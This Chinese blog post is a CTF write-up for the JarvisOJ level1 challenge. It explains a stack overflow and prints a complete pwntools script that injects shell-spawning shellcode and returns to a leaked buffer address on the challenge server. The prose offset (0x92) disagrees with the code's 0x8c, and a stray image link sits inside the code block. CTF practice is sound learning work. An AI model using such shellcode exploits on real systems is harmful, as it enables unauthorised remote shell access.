美文网首页
JarvisOj [XMAN]level-1

JarvisOj [XMAN]level-1

作者: chenmuxin | 来源:发表于2018-12-05 12:25 被阅读0次

    思路WP

    • 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串buf到ret的偏移为(0x4-(-0x88),一共为0x92。
    main2.png vuler.png buff.png buff-r.png
    • 但同样的,read函数向buf中输入的数据最大可为0x100。同样属于栈溢出,但该题并没有为我们提供callsteam函数,因此需要我们自行写,但因为pwntool的强大,我们可以使用pwn中的asm(shellcraft.sh())函数来直接获取执行。
    • system(“/bin/sh”)汇编代码所对应的机器码,但此时我们还需要得到buf的地址,经过调试可以知道当与服务器进行链接后,在服务器返回"What's this:%p?\n"后会有加上一个地址,由代码逻辑可知,这个地址就是buf的地址,由图片知其位置在[14:-2].
    level1返回地址.png
    • 因此我们将之截取,并保存在buf_addr中。因此我们把shellcode的代码从buf的起始地址开始填充,然后buf中剩下的地址有a填充,因为我们最后需要调用shellcode代码,因此再加上buf_addr(记得将之字符化)

    代码

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    from pwn import *
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    
    ![level1.png](https://img.haomeiwen.com/i8384623/ce3277246964f144.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
    shellcode = asm(shellcraft.sh())
    #io = process('./level1')
    io = remote('pwn2.jarvisoj.com', 9877)
    text = io.recvline()[14: -2]
    #print text[14:-2]
    buf_addr = int(text, 16)
    
    payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
    io.send(payload)
    io.interactive()
    io.close()
    

    解释

    recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n
    int()表示将得到的地址转换为16进制数

    结果

    level1.png

    相关文章

      网友评论

          本文标题:JarvisOj [XMAN]level-1

          本文链接:https://www.haomeiwen.com/subject/vxblxqtx.html